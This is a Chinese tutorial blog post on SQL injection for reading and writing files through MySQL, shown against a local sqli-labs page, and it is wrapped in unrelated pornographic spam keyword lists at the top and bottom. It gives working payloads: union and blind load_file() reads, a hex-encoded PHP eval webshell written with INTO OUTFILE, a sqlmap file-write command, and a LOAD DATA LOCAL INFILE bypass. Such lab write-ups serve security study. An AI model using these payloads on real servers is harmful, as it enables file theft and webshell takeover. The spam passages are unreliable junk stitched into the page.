<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      sql注入文件讀寫

      secure_file_priv對讀寫文件的影響:

      secure_file_priv在mysql的my.ini中設置,用來限制 load_file()、into outfile、into dumpfile 函數(shù)在哪個目錄下?lián)碛?code>上傳或者讀取文件的權限

      在 MySQL 5.5 之前 secure_file_priv 默認為空

      在 MySQL 5.5 之后 secure_file_priv 默認為NULL


      sql注入文件讀寫方式:

      load_file() :讀取指定文件

      LOAD DATA LOCAL INFILE:讀取指定文件[當secure_file_priv為null時可以代替load_file()]

      into outfile :將查詢的數(shù)據(jù)寫入文件中

      into dumpfile:將查詢的數(shù)據(jù)寫入文件中 (只能寫入一行數(shù)據(jù))

      sqlmap: --file-write 要寫入的文件 --file-dest 寫入的絕對路徑


      查看secure_file_priv設置狀態(tài)

      show global variables like 'secure%';

      限制mysqld 不允許導入/導出:secure_file_priv=null (默認)

      限制mysqld 的導入/導出 只能發(fā)生在/tmp/目錄下:secure_file_priv=/tmp/

      不對mysqld 的導入/導出做限制:secure_file_priv=''


      當secure_file_priv=''時:

      image

      image

      load_file()讀本地文件:

      union注入讀取本地文件

      image

      http://127.0.0.1/mysql/Less-1/?id=-1' union select 1,2,load_file('c:/users/91839/desktop/2.txt') --+

      也可以把文件名轉(zhuǎn)換成16進制

      http://127.0.0.1/mysql/Less-1/?id=-1' union select 1,2,load_file(0x633A2F75736572732F39313833392F6465736B746F702F312E747874) --+

      image

      利用盲注讀取,然后用二分法一個一個的判斷字符

      其中2.txt第一個字符為c,按照ascii碼對照表對應為99

      image

      http://127.0.0.1/mysql/Less-1/?id=1' and ascii(mid((select (load_file('c:/users/91839/desktop/2.txt'))),1,1))>98 --+

      image

      http://127.0.0.1/mysql/Less-1/?id=1' and ascii(mid((select (load_file('c:/users/91839/desktop/2.txt'))),1,1))>99 --+

      image

      同樣也可以用時間盲注,用同樣的方式手工把表名和列名讀出來

      into outfile/into dumpfile:將查詢的數(shù)據(jù)寫入文件中

      (into dumpfile只能寫入一行數(shù)據(jù))

      利用union注入寫入一句話木馬 into outfile 和 into dumpfile 都可以

      http://127.0.0.1/mysql/Less-1/?id=-1' union select 1,2,'一句話' into outfile 'c:/users/91839/desktop/10.txt' --+

      image

      照樣可以將一句話木馬轉(zhuǎn)換成16進制

      http://127.0.0.1/mysql/Less-1/?id=-1' union select 1,2,0x3C3F70687020406576616C28245F504F53545B6361726E5D293B3F3E into outfile 'c:/users/91839/desktop/200.txt' --+

      image

      --file-write --file-dest:利用sqlmap寫入文件

      在sqlmap中,如果寫的權限,知道絕對路徑,并且secure_file_priv為空就可以寫入文件

      利用sqlmap將本地文件寫入靶機的c:/users/91839/desktop/shell.txt

      python3 sqlmap.py -u "http://127.0.0.1/mysql/Less-1/?id=1" --random-agent --risk 3 --file-write "shell.txt" --file-dest "c:/users/91839/desktop/shell.txt"

      image


      當secure_file_priv=null時:

      image

      LOAD DATA LOCAL INFILE

      LOAD DATA LOCAL INFILE與load_file都是讀取本地文件,load_file只能在secure_file_priv為空時讀取,而LOAD DATA LOCAL INFILE不受限制。所以當secure_file_priv 的值為 NULL的時候可以用LOAD DATA LOCAL INFILE來充當load_file的效果

      image

      drop table mysql.m1; //先刪除掉這個表

      CREATE TABLE mysql.m1 (code TEXT ); //然后創(chuàng)建

      LOAD DATA LOCAL INFILE 'c:/users/91839/desktop/1.txt' INTO TABLE mysql.m1 fields terminated by ''; //讀取文件

      select * from mysql.m1; //查看文件

      image

      posted @ 2021-06-04 11:57  cAr7n  閱讀(2967)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 国产成人亚洲欧美二区综合| 亚洲欧美日韩在线码| 四虎www永久在线精品| 亚洲熟少妇一区二区三区| 亚洲av中文乱码一区二| 欧美激情内射喷水高潮| 成人精品视频一区二区三区| 亚洲精品成人一二三专区| 午夜无码国产18禁| 亚洲男女羞羞无遮挡久久丫| 看免费的无码区特aa毛片| 在线观看亚洲精品国产| 国产精品中文字幕av| 国产成人精品18| 日韩卡1卡2卡三卡免费网站| 欧美不卡无线在线一二三区观| 蜜臀av黑人亚洲精品| 午夜福利一区二区三区在线观看| 日韩人妻无码一区二区三区99| 国产在线观看91精品亚瑟| 国产亚洲精品成人aa片新蒲金| 99久久亚洲综合精品成人网 | 粉嫩av蜜臀一区二区三区| 老司机午夜福利视频| av天堂久久精品影音先锋 | 蜜臀av性久久久久蜜臀aⅴ麻豆| 成年在线观看免费人视频| 成年女人片免费视频播放A| 成人国产亚洲精品天堂av| 亚洲免费视频一区二区三区| 国产无遮挡又黄又爽不要vip软件| 亚洲啪啪精品一区二区的| 精品久久久久久久中文字幕| 国产午夜精品久久一二区| 性欧美VIDEOFREE高清大喷水| 施甸县| 无码h黄肉动漫在线观看| 亚洲综合无码AV在线观看| 极品白嫩少妇无套内谢| 深夜福利啪啪片| 99热这里只有成人精品国产 |